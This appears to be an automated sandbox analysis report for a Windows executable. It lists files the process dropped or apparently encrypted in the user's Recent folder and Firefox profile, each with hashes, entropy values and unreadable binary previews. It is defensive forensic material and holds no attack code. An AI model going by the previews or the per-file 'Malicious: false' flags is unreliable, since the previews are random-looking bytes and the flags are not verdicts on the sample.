Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839462052330405
Encrypted:	false
SSDEEP:	24:txgi5RNxB6WeCiTZJ++whUhIZk+MGdUAdseZX6WnRUrVDvF7dObD:tL6W9i/+ppk+MGw+rUhDvFJsD
MD5:	543E03E4809E25350D2F2F805FC2CD53
SHA1:	864FA445F1DB1946FD8DE6CBD29F6AA54A3CE26A
SHA-256:	EF6931CEEBF22F13053E01C8BB68B9AF22B62C9F7B72AA6BD91DDF58B0A2358C
SHA-512:	8F23495B84DE0B743327DCF4857F9595B02B9FE2FFED0ED05D9B9DC8633D58E9C145D72921BC20A144C0CBEF98C35E5DDE5C4D6BF19D991FF6CA966D2D425C54
Malicious:	false
Preview:	SUAVT\?...8...H.A...A_c.G...1.F..F.......r.D.f.\X.1m..^....C&.bk..F..Er...Wz.I..w....M.>=%M...-]..^.Q.j.....J.W...U>{......L'..i\|Z.+........A.v..H.m..r..?..to..%i.c$...8.....!..a..L.'N^.l:...]~.l.M.?[..%......o .%.....}L.^.C..9o...q...\|Ik......'N.`......O.j.$.[....`6Rj:..$CNl.:z.-..B..........U?Z...6......!.#.s.I.!..jw>......=C..]..IT.#?Ejk..8Gi.#....X......!.."...{........:..}E\|..f.,..N.Q.~..`..W.A...O..$..`kjZ...6..[..p.Wa....jGz.a....k.t.=.........T.1.4R$.[j."..r?f...K..k.c..A0......B.=...T.p.P..6../...<.y.U.$...t@.6...9.;...b$..{\.1E.......5.-a:.......N9..o...d....t.utq.6E..tB..E.z.......'.....7.....e.Cg1.2...4.L\k.<.:..AVN....".F.4...<..u~7..-....0...v..n&PI.......Q4..*..sa.n.9=.pG....z...b.m./T.=..v..B...7K?].8..X#qI..0.1<....`'e.~...hb...$.1...[..$..,!uv.V.<...7..K..`Gy.=...5v.^..../i-..U.........8.6...c...B...fvc.....R..b........bp.+.ui..T..)...5..B2.G.U..`.'.m_(.Y...U.../E9FaV.%-.O...k.XD..z8.........!_.E5u

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SUAVTZKNFL.xlsx

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843944835050703
Encrypted:	false
SSDEEP:	24:/Z19msJr8qk2SEWOva34TO2IByyKP5SGZTI7n3CtW2GrLEbgZZbD:/ZTjgEQ34TOJy1xbTI7P2Gr7ZZD
MD5:	BA7075E64B97B99BF2B6A4E485CD5A80
SHA1:	EE3B2F1D3FD2D5677859D35458F86F04413DB8F9
SHA-256:	66033A45A50D4730D432383E141B56C5825548E17A80DA1E8AF5D67C7053A096
SHA-512:	B8F15A4FBA5394100C03BE09630C23DBD1F40890313C270BCDB1C69F835DF85036969B388EB9992CBEAE5EA9BC27E9E976D14895B9EFC9788F804D6343F8474C
Malicious:	false
Preview:	SUAVT...}....}P....p.....a.._...k..A.1.gg...c.>.!.C%......UTK.D....6.4.A8P\#6O...Fi.yv.}b..v%.....W.H.:..c.E=m5@..y-.....9.+............n....%.[...c.....:@..c.8.MM..Uh.c`"\|..#.">...#.0.iq..N:H.%....KD..G.F\#" .....#.6.6p.W.%K......C...@.}j(.........4....,.ec.....4.-.v.2.7.W...4....'...>.D..P...ij..@.E....E...A..~5..B..[!.....v]........2.L..4Q.>w.T..e.3....?...e.d.?.+......Y...n.y.......N....'9....A.sZK%F\|mz.g..e7>b...-... ;..Mb.I')..........VL.o..Q..+.2.....GS.1./...?s...\."....TG..'..]..N.u..#l.V.l.d.g.#G.....E...4..SE....n[..3b+...m...y..g.......%)...D.z..`.....k.U..8.Q...F..T.C@.....1.j.)..\{t...3.b.WN..o\...no.......@KPs......1$.$V..=\|$l..<....=..8.L.tu,./jB....Gq.:.fa_.8..`......Z.l.3.O.....>.#.(.....U2..jl.:.2..TYw..o.8...Y.Fh..{H.L2..w.......F..G.mS...I.......`._.`I\|...n..b=.@.......$..7.J+Lt.[...S.].=..1B{..W.^x..!.}..L....M.E...9.R..`....L..p.T..<.%...i.*..5..\..O9.........+V.IKm..j.L.R..K.z\.@k...,s.l....[.X.$.8.N!Rdgob.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UBVUNTSCZJ.pdf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	HIT archive data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826299089930214
Encrypted:	false
SSDEEP:	24:xVnN7+hharMId+WUf5LM36NMh8c5xu0MP1S9G59TIFpa3xSHhHbD:xK2rMI+9M3lv8PRSmqD
MD5:	5B37D88964CDADFCB34C20833F78204C
SHA1:	4F539F9107731EFB0B3AF23B9781A2124BC4D714
SHA-256:	B4A59AD573449734C5F57D33EF9FDC6644F94B5713B620E263B31D6196D802E4
SHA-512:	0C777F1498EAD5604D69EA53D4709E6A0FEE8C9B7D1A5AC7729C05B413F29840254AF3095188E9894BC7D0CDCAF0B0C58CB9DBF9851A1BF1AF1D114FAEDB82CD
Malicious:	false
Preview:	UBVUN.t.79.Y..\|%...W.......tB.x.(.E]......U.lc..#....d..O.v....#.k.yKj..>....d_}?$..!xB.H...."..........{..^.S...y..b......"...h....R.@.9PT..l0.i.85.EOZ..l.9...I....f.....TQ.~.%9....m..a.].....a.(6..L.B...F..&....(s....._.E.....P...:...#d..Kp.fc.'.....$....1N.A.G....).7..x..ML...o.8>.^F.5.h.:.D.}5..........Z...!...h... ....>.E_..\|...M. `y..t.E.E..;.%..<.l.axf%....q....z!....p.\|Ko6z..(.(.V.I..U..6...3d..h.R..{'...>/h....!.a..%\|..w>...x....S.."Fr.Ya.Gi...].v.5...Ai..`98a.\|.sX....z.E...i{...N...;.,.p.d`..t...H@..Z....0..T.Bemt...V\.Ki...tET... ..5.....g.....j..,....0...P.,...1Q'....z..W\...).5GW.?. ...M...g.1....+r.^....t..X.!.T...X...2m.....f=C2.......t.3....vEJ8.1b.N7.Q,...6s.s>..qG.y.\|......)\|...qG.{4m7@)..........~....kVz...... 0.............Op.X=..{...G..9Bn.vEqH....v...M....j.-?.k.aG...?41.h.Q.%..o#.v..y.....k...@h.r;..I#.B...5..f...d.c....k...d...Z..q.n.x.JL......4.'.\|...z...(......B...f.....&..=?E.$<...M<.....q....*&F&<.....hj....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830964556185955
Encrypted:	false
SSDEEP:	24:P8kexTWmuiWiuDvYHOixmDl3JY7IjZIIztSvqAsYLgiqbD:P8k8SbiWHDvIOixmDl3JnJM7wnD
MD5:	397FD6DA1DA094E35E81D72004FA3807
SHA1:	72865C23E51FB401EE0B13F33DA17601731E9593
SHA-256:	CA4F541AEFF4FAF58DC3F72AF3E989AD0398ADC38988A4026F21690D3BB0B710
SHA-512:	727656023BA5F6A47A5235F1E76F5A52FBF6C395EE80E3DF3590CA70659B1E414C37FE96C794E4AAC759399F09397B922AA41807EAACBA86E765FA1FBAE79C18
Malicious:	false
Preview:	UMMBD.........#V..t.AX...Ld.{.%,.......j.....$1.K1..m....{..M.......z=f.#......-^96.}uRl...v..x.R....#..Qu0..k..V.......A4p.....Nr..&FNs..Vy.3/x>..9... d?.K[w..0...Br../..S5......\|N.{\...[1>.Rz..l.G.ed..\@5nJ....K...7.......l......p.........E.w.....+3...x[q....L.A.P..H.......6J.........{..lK.!.bd....b.qe.F.J...<.........XR...Ba2.,..^\|.^9..At.....g...c..j.....u.0..y...d....7}..}.dh..i....He.\|.A1Azv....u.%..a....":......L...!.C....q.8.%......,F.Zf...)..;@...Y....<!R!.u....k..n.a.... .cK..g.....vy.Y...R7v...E=4v9D;...}.P..[.K..tY..~<.&c..=.E..g...mM...... x9_.h9.%.y.,..z..,.0pfD+....FJ...V.#z....CY....Y2.\.....pd..u......EvS...q5......L....m...}.]...}.0.r*...W.]....c].E"M2.a..a.~K.....\|."...HR.2%.W1.....mm.....[.(.X...U%X..X:......O..`....V..r.O`.oJ...[..7.r...g.RE(..[6.............,....0eM......p....(...%.A.8,..j-)7......Ev?:Ys.z:.[k^.ek..r5..sA..M...@..p.....z(x..#...ufPLt.[.....V5W_.yI....u.Z....bn....66.G]..fN.r..............u........x_.j

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859119643942562
Encrypted:	false
SSDEEP:	24:XZ/rJjDZbXv1dxP0yXb0huBBUw+DLTEzlPWE0eHg6CQfDb1SwBi3WiuabD:p/1jF5P0yL0hguhEzxWibP75Su8zD
MD5:	AE36A564D5B9FA1F75B771D28FED95DB
SHA1:	5DD8B7146F6D66789FE67923491A116C9726D303
SHA-256:	BF00ADB7D3BDEBF878F57ECA2F5029876AD8B5A9BFEDB610F5D246080B4EF011
SHA-512:	6F1623FB3B7C72A5711235B323A16B0F08902F21A029CB4165291A31CB83134D4D615800991B7855CDC180C3D964AF6E226B63A04504CE1188FEE3FC85DDE19A
Malicious:	false
Preview:	VLZDG.}..h..B.B..l`......Vbr9..>.\|d8......X..y.. ..fA.6b+z....fN.....s........ad.i..0.<...h.'.!..=c7.8..\|.p.K.2.d.d.bm..]K..h.7:.....T.\|EQ.ka....J..Xxx...E.N.........Ib.n..(..jf:..B.r.B.6.z..s.a..Q...9xj.. [.{...J_.6[_.&.9....kF.U.\.......r. 2._.........!.........V..V...<......%.?T.!...&../.vu..u..4...O.../.~....D.).....X.w.(...........~.&y..4N.!......fl...._...s..t.M..Rr.".7........Oj......V.y.v...)....<..&.R.....uX...........'%....5...........fzA`......X..^.....N....s.~..!._d.c..OJ....u.rU....b`. .@.%..T............I.hD..I.X.o....z.]IE.as.,..O.x..X[[..G.(zhg...8..1..`N\|..7..A.8.+0.7%%...".YiF...Z.&...`.+.D......Bx..)C.:..A t...M.I.i.9)..qj.u.D.....4.{.M....a.a...U..<.Slf.......9r..T....."..........).)..u..~.(k.TLY...Z.QRH.....).._.&..T_}d...+\=..w.>\.x......_.=...z..}.T.L.iH<.@{.f.!g@4E..(.d._.a..!.......].w..3..o...PLE..W5XTt.0...Y.3.../^6.R...W{/l.I].....@.j.f...]....Zj.T.&...p/..X.."8.@.J.y.d..Q.Jx.;T.7...-..zC@.......trP.Vw.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841478332651268
Encrypted:	false
SSDEEP:	24:AZVHooX3cqIhQqTwavF1HWwoHm9UBiF38jbe8hd/3/WIsfuTXtsbD:A3IocJbkCWxHm9UByibHXf42XtmD
MD5:	5DA13B0736163CF97DC92110711D847F
SHA1:	5BD565FBC49D9FDCE1E07AEA7F99D29FB100F8A0
SHA-256:	13E72BAB7FEE705480FD844ED1478435D0E3F63F9B0C3AEEDBFD5887C8E94C20
SHA-512:	ED2D471FD505103EC8791382A72BF23504BC220458C73B22DDA9C026DA178525CE1AE4ABA009D3835CD403293EFA725A09D1D9CE1CD98625C17FB807088AFB0F
Malicious:	false
Preview:	VLZDG....0..2..;g~...>W...... ...=eHP.%..+b.y..X.....E.<7...!u.g....x.f.U...R.\.....g.~.5g..s].&..3M@.A...w........g`.]SMl.e..I.@.w.. ...7.x..6..X~.w.4g.ER.:[..y..+..p....?o=....T..N.....;.?.[9...d\2X..G.'....f4......U9...9..o>.v/^(.../.o.#.j).x...}.G"UI.a.-.f...O....h.....o.X....SZ........en@...bb....+.&....7........#.?.f#...R..~.]G..O`Z.C.....[CqT .u.....GK..D..$.z.?.Gb...g.A...%.T.ZS.CT......k...W....."[..Aj....,~.Y. ..9.7.Y..'.K'...../\...7....;.J..`].Z0%....}j.......!_"..&.#P~k.8+'.!...dU.....M..>{..w.%.=......#~.....UQ...Qh...W..../.9F.....7d..f@.!(..L...}.....[){9.a..iY.y.......R..\f.U.4VB.R........,..w.....n.t........8.)A>.......>.=l;P.V..t...P...)e.G.`..7k.5?...WR.7r..Z$(C.uI...? iK..i....%...={.-..b_.D...N...6..Lu'....NU...h.:.......p,X.....(..O....S.4.i...bW...}....@...u.m.. .....Gi...:..!\...)L....L..C.A.}....d..W.o.C.~.M$V.8x....`j..M...oO\@J.W.......nKzd%=...g.u."..P.os..A.2......t?G.>....Y..~4..Gh.w............4..)..4,

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854487279847298
Encrypted:	false
SSDEEP:	24:7iaotAYil4FhSmo9OJ7BJpNywYuUMRaLM0SdWVrGSO5UrsbD:7aCVSFhSmiMHNPRcMruGW6D
MD5:	3E930A5C710265D6E8BC2733325CA7A5
SHA1:	17DF8A43637484D8861EBC132FDAAFE01602A926
SHA-256:	951EDA619D2BEF91EF237AC3428A01CDF9F65473FBBBED4608F98DA33DDA38BF
SHA-512:	58209BAB779D7FFD05271E96FB7F46757BB2DF7F7248EF6D69B3B76B4FC32E1986C97C55B9D79E0244F722B884AC402C59CFFDF6B85035D3A566C8C953386EFF
Malicious:	false
Preview:	XZXHA.c.=T9/Lq.8... .e.n....R....wP.t?...C\...(..,.8.....b.$....zyxg. ..aB.\.j.q..K.g.$".....uH......n2...SR.....xjF.....(.4.._.~4<..6...a....d..}..?n.,..+ ..%JF.q..rN..K,$...FI....[t....]..'[8..)y.......9w..]3.u.......0........b..6".4...jV.9...i...1:#.P.3.o..B..sow.2...W..q...h..+...W..p.......>.$\b.=...#...+..."...a,..i...,....!..>...H.....7...TE...@.a.....9.?].\|..F. J..M.i&.O.4/.P.X..,..+/]8...nS`.5j.;.{.BM.....+(.... D..9.....1...6...3....@.m...f.T.8\cRpl8`.7.G<..._...".G{.qg. .n..2..!....bugA..i7...rISR.;.pC^......{.t..XM..@.}e.\|.e'......nq2....v...,P+...$."m..Q...g.~.._?..$.....r....9Z1D;x.....4.,... ,..9W.P.Wp.-.y.K..5...7.zM.....vrs....v/.....#.......x....-.e....[U8VY......]O#.a^..',=8......<eT.."H.u`.z..+...Q...8..;t....:8.......A..<.[b..x....z2.M...Y....o0..d.CECZ.5...C.z.}...C..'..a..vp.......u.y.... P.g.g...1x[.hB.g.+c...+.\|tRT.E..C....s.K.%N.G.....7...p.g,......`..*h.._...'.4...`.l.....@I ..n.z0.n...w......`.\.,V.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854222623189572
Encrypted:	false
SSDEEP:	24:LXSGG5YHPB7Xf1N1mg/4q7p/6CWZwTOu0viqJkBeRcr9zVtbD:LzPddN1PJpD54pLORvD
MD5:	B7C7DEA753942E43C16FEA2DFF266A42
SHA1:	AFF3A2819584EB5463C998FB8CB7CCD171D888B4
SHA-256:	53EC47DB92A803DE8839082A61CC164ADBAF8B94C2B27FB3C213C5D8AABF5168
SHA-512:	45F4940AE4F780464971993F30F2149EB49F529A24771FA3BF311B3293E3BA530A300438F9606CAB56866B6F069FA999BD7365E6D77618752D36874C77EB95C0
Malicious:	false
Preview:	XZXHA`W7..r.XV?..G...Q..-..U;=......:y.WN[.}[...WL4.D....&..F.....E]]V..6Z.P.>ag....1.._<V.....I..n..p....%...t.........z$Q.....3.a....g.g.~."..n.Q".Z..L..'q...I ......&,.}.....?..eOe......QR[=.D...#..+..a.$...}....M.?.}F.J......n>lH...0.Q.[vh..{.>G....3..=.k^...OcW.V....8..I.@@..a...p...<.O.0...RFF..R.N.1.....0.....u.._^......V...e.........O.P..t>.../.\|..MR..0.w.m..E.mgO.Q.16.(...i.\|....X..6]...c...J......-..X@%./7.R.:l.0......<D.8.....sdtj.]Bo\|^9.C."c.Y.....i.........{.....I.I..".K.w.....$.."z..3(1{;..MlUm`.M..O..!.....y\|k......!..q..sV.'.._.s..K..6.BRx.Q..$....Pe.....<-..%.i0.Fw<.+...D..J57....G,n......lA..qg..CND.6.u..W.......[.....0.%.Fe.....`.}K.b...9H.}...{...s..}l..E.T..IS...d.l.9..T...N.wsa.h.....4.....Z..R?..b....FYo.....x.M......6xj...`,;..v...@O..o...w7..3D-......y9C...^?.903.#mE..;m=t...7...>.>nJPxE=...A...4....$.2+.N,.yon.H.)Hm....'i.1.~+..c..XyO.......B.2z.L=.....ClO.$.V. .wq..K..8Td.}.-.R=..v..u.~hy..p.He..x...........?....6B.G.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851814646068404
Encrypted:	false
SSDEEP:	24:oPPjnWwlWhoo3jpOdsJC7PB2n9tJ0lKB6H9W/7E45V7Rs/SIQtVpuCfbD:67Wu0oo3jOsY7p2TqlZHj4b7hZtV0QD
MD5:	BD92A241CC71B89B3B21A78DAD027F70
SHA1:	8E250314936D23DB9B3305218F254544453FACC2
SHA-256:	BADAB9CDBA34DED51EC7435733DB8592E3F491C322A00535D503F3ADAB3D34FD
SHA-512:	C2704F08D6C091A8DB61FFB2D40E15558ABE88F0CE3F6C4C9B97EFD578CB94901864EDA20DA494E3650AD5D541773039696A234A95C840BF4ED11B7AC62139D6
Malicious:	false
Preview:	YPSIA....wG.Z.....}..6.0A.\|..7..Ot.O?OoR'Z.....Y...Nm.).&]..%s&..".....5+..F..r.kB..0,..;\.r`./.t..^..H.P.n\|...W.TB;.....nh.i...S.....t..>,{..<.t`.f.Hc/\...2....HC.y5.^....G)k...1.e...]......)..o..-.2.._:.......^.r..b.,Gn....f...6....K.w..2V.DEq........O..1MO..B4z..y...t.u1.)`L.m.].=+..[.-..K..b.b..<xC.Dr-.J....3..\|..;..]......:..3F..X..:@.7X.8^.F....x...QL..B.0.q..5.F..n....p.%...{.l.l....>.K..].t...E.1G.......2.. ..z..m.?8.#....7Zld.@0.@YT..L.E...XK.w.).H\|z...Z...A.R..u.....m.;.W?....:e........;.E.:j.'0U....g.$=...$'.w.z.V.K].g._......+G.@@....0.I(.&...q4..U^..5?.z..y.!.9#...'.,D...U.q.5.-...e.....j.W....#.._. ....M..Wh.i....@......2.x..6...C.n.........2...in.T}n...6z..U...@.h%.iM?.. J.....e0........-......=fb....D8%!.%.".2,A........#\|..z...V..^49.z@E.b.Us.#.`C..F...d.{......1)....Z..$......U.S..xx.... F.B@2....x.fA.: .........y..\.C.b.3.WQ}....$.6.....1+0.....p...........)n3L/H..S.".......@......{.^I.8.$.I..y,"{G.#x;3.@.q*..=

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831333167387914
Encrypted:	false
SSDEEP:	24:bLIniuqWRf3X3fqjUsgp4E7xFH4yJSCkp8KQR0jbD:/Ii3WFXYUX/XtJSF7Qq3D
MD5:	390FEF26392844B01D0614C5D6F7DB7B
SHA1:	87956F390D8AB954AE7F50F780FB6FC3BF22CFBA
SHA-256:	E530EAB857E18BBCBAEFBEE60A4926DF1F0A3431EBD88F4BE4A9E13321B5A2D2
SHA-512:	B1D7A9C495B26B7D98B90D774E50E9BA50F6D55D5BF15884DEB737940054388998DE06B5389E8BC497BD6129C73AA71F4293975A98304D7239E32648C8A1EF7C
Malicious:	false
Preview:	YPSIAYl.'.....o..Ycc.<f...V..O...(H.\.(=..t.p...7Z...B.r.@....R...A.j.zK....]g...u..r.....g.}....."g.8..-3.~.\|h.BJ..Vt.V..O...P......8>.....>..).e...,I:.E.>...MbL..fK.S.\|..K...w.PB...87.3....HW.W....$\|f...r.v.&c1.=...H...mQp........,G% .;IC<..Q....O.ox!.L...v`.....[(...........sM..{p0th...B.t..]px58tW...,&%m...l.........D.o..[}.u.(-.U....o.ik.u.rG......t.9..f.X.u.G..c.....-...].TT.....!..C.a.1.)6.....~..<..}E.bD.gOCx..;-....U.+...\|.........&XB...pf..s..D.....u.H....+.P.cyTc.0..^..r._...N.u.'...-r.b.<.9...[....=lRz.Ds.....Xx..v).~.S....%E....x....\M.t...F<_...s..M=..[.y..'...\........!..V....._...[....-b.......r.)k.....aT.M..t...`b.........(.^..._}..... .B:.O..j.....(......s^...5.Rj>...%.)..!...g...pg.M..^..U..<9.w..Xa.W>.ab.\|..........-..@..)...oWD.#...>e.-d..,...)...)DPaEi,H.4.w..R...+....@...7.....`q.S.O...v......]......l\+7.....Vl1.5.......(...eVl......sn..&..<.N...K^.w..J}el.\|.N..\a'.....d..=..#=......b.)..._..\j.......\P.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846357293751879
Encrypted:	false
SSDEEP:	24:pqxiR49TGPyiwidFrmdaIDKu33DaVShdAGRRVvC5NMWQ6wUZUlfOooB3w+ApLHbD:lCwNwwFrmdJDKu33mVyGTwAUEBytD
MD5:	F268CACE394B389F6F34727ED6F74172
SHA1:	40C0D53932335B45E38C6002CB2BB6ECC4234797
SHA-256:	13D8A4366C9BF7EDF90B6A3F9C0AF0B908CFEFEB859CA1EAF252A535AEAF0EBF
SHA-512:	0FE6CF0551EEA8F049C5BBB6E85FD352763ACACDB4BF6C03326D46463667662045DE97D90AE8AC45C0FBBCA792ED97F32E1546E00F2044279ACDA48F556850A2
Malicious:	false
Preview:	ZBEDC.-....xw#..6..it-.:......'.t..cQ.\|.._.I.^..L.Ira2....3.z...[;t...h......v.XS^+u....n..sVB1l.......d.>e......V..p./....,....\|8...'.....K........&.....a8.w........-..O..cO...B .}..U...%..I.j....f....3R.%......U2..>.......A..&....\Dd........n..{...........O..Z..nf.....=...g...yQ..V..%...q..V..A...Zt.g.E+f..Y....xS..B..C...u-._...G..u.c=./.=m.v.'...I@0.w.e....R\|1....M..Z..S...olc...%p7.D.x.P......q..1.\..KGW.j.+...`.f^F.c.."c.r..T..@h~..p.p.HC0.}3.~..(.....=...9..X."...&..6.k....Ti....A7.>.Z%G.G.'.......A..............F.I.3......n..[.L$i.H[..3.M.c....o@l.^<..W].....l..{....K..2..m..`.Q..U....5.L:rA]q#`.)Q7..m...N%k.......G.3[.+.U._.A.f.:s...'...b-..l5R#.r.y.[...WA.WX.r....b.D.....e..\0v<..}....Y..[A.m.{... .Y....o. .8_.\|.W.....^[Z..{....(e.+......J../.........y..N.@....Yvy;.z6.=Z..J...4.E".._.mPm.~r....m\...._........:...<.........[?X"h..A../wUD"._,29.V."^.h......=.=..G]...{....>.HP....p...%`..!.MR.rNW....2N......C..J.\|..~...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZUYYDJDFVF.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839555551951734
Encrypted:	false
SSDEEP:	24:9slFNnrdxjRCjlr4Vk1Kh49Ny35cbvENzyeXkczL/jr7OPWjbD:Injk14/hawJ6sRyeUcvf7OPKD
MD5:	54B0A38EC71B6A2225585C4748D0E703
SHA1:	2842B8DE454098197EC09C3D3E224E47018D6124
SHA-256:	6B5C2B551A35512A9493128DE7C83D234F6996BC9CE6E1CB7D0526385AA58925
SHA-512:	22ED2E850ADBA4DBBDD98752799F542E96E4C7E2044C2CB53AE28E3D952B4EE43C9874E25FDA9409665291646C42550C20E27856F87EA6F081F7382FD5488DFE
Malicious:	false
Preview:	ZUYYD(?A.D..W.3.. w?.j.\|QD....u.,.D.....@}...QJ.A.<p.I.....V1[...R.gH.#9&m..HU.....q.......t(;..h..p..v..x.[Sa..E-.._3p...-.....+.U._<?n..U....i..lr....g...q3ui{.pON.J.i.E..k.....G...K...be..x.p.\.....j..a,."R.I..,zN..zMk..G....i....1Vv..3h.....#...n..Q....M..u...T..5..~u.."..i....D.7...y.v..!.L..T...^.{..<'.....xy..Z6...B.:.......~.&.R..%L..'.7A'...>......M.._Y...`......R.........C.G ...l.g..qI..8.1I....3..{50..M......Jk.$0.-.....].~.N..3..!..~.d.../m^.*....,.,...9.B.Q.O...l`D3G.....C ..aJ<........eyWO..N.c.5@.iMplAy.b.`..bX.u...q.Y....od...o~.v....\....z cz=..J.....Q...U`.C..'....\...mEp.}.y...)\|...+..P0.C...+...y%....G4...L?....!2..v6........W.{W.p.R...UvX..,h....p...HZE..h..>7..{x.6d....m.:b...ho...........%F..qUZc#....4).x.%.k%N.#=..l..=.5#I.w...w.V._...1..g.og.%.0...{\|..n(;....NW....AY.'.%.1C.-G....~.8.[L..v.........e.g...$.,.6..S)l8z.2.>7..%........>..X....j_;@.>.Xmz.Y...)............<._0~cH.>.j..T..d..-2.Wp..p....CP..q.N..&.........2Y9..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.5363194973265255
Encrypted:	false
SSDEEP:	12:YWSQpuVujB2RdqhvLDod9eNZekSe6NDW1nh4tvef1+cii9a:YbQpz2bWjlgkx6o1nhyGsbD
MD5:	91400DC1DFAF3C1F3C6D150237FE40ED
SHA1:	2AD4687CC7B0F5DED25F991644D94240CDF90AD3
SHA-256:	40CFEF2D54C4268B0524C9DD15F15238D2BE026B5A74C22072C865F845D532D2
SHA-512:	CE24F115EF3C73752556CBB24CB274472A291B38C6B07A4B307D29739EFCE563E6139A9F17DBA84F70BBA8D208284F1634876BE28850FEE3157A9D92CBB4F572
Malicious:	false
Preview:	{"ses.M....h..y.I...fOR...m$S.....B..rdj.5:Tm..r .......4....\.. .../....~.....0....H..Of...N0z.P..Y....N...qw..D......F_.k..-<.T..`...9._d.0wt.....Zn.>....X...5].x..z....jn.s@R{..U..Jv....X.....-\|/..X32.j.E..<.<.T,-.l.2>'/....X.tu....b...y..a.(....Z.(S.\.....<....3EW.;.l....5..C..G...........?...cQq.......#...<..qf.q.3.....F..v!<..2...F.....$.......mZ#.O9h*.. .t.].W_.\|R...X....vr.j}p...P..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.411569012559518
Encrypted:	false
SSDEEP:	12:YGM38r0oBuaGmksJ1WOFmHWx2PSuhM1+cii9a:YLPhhww/NquHbD
MD5:	29D3095635B5E508937BBCE3D8D2B336
SHA1:	8EE0D8733A3B8B991CFB6ADCDA9BEC65F628473A
SHA-256:	7828B46700D18CAA040640876956FDDB0690C02A158BE05F3294EF64B8EB084B
SHA-512:	CD93CEFCDCB6E7BE34D1227AAD73BDEF905B30001B9DB5E76B6D4A97DD4DBDA3EC33868424E752EAB2DAC6184FDFA0B266499E7F83F78353D953E431ACCEDD29
Malicious:	false
Preview:	{"cli.u..B'!.Q.\|.1........I..g.?..4SM=...3D...F..............x4\.o..vS..!...e.;.Wf..7!..y?....C.....[..:...\|9Q..........}\|.h.@..Bn&.......G..L..I+i.Ty..h.1(a.........[xS..yUp.].....N\|w. ^..!...>G.!....;.{...7/l<.Y ...".).>.nhF.'.'Wb...]/..r3.R... tV.Sf.2...j.'.....DD..p9...Q.6...h_1u.\...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.881305694662449
Encrypted:	false
SSDEEP:	48:XAEPmP0Fx1RfYp3ldKsP8R+3kAysTvSK/oHQ8xoD:XA6mcFHRA1CQZZFrmh0
MD5:	B0B7388E9EC17ACF4FCB4AA29C1A9436
SHA1:	A34F56F0E65E7B4491DAB33A91F9021F688E1AF5
SHA-256:	E7515CCA05049C266B20A7DABD5E3A4D3F043DBE177A129C9C5E8B2BDD55A4C6
SHA-512:	485E26F917035C8C32115CFE10F4D5E3B77641C612FA390964852623B37BCA8AE18316ED360199AB99959B09ABDB4BA8B0653E13C0A8232714AFC91C17FE3758
Malicious:	false
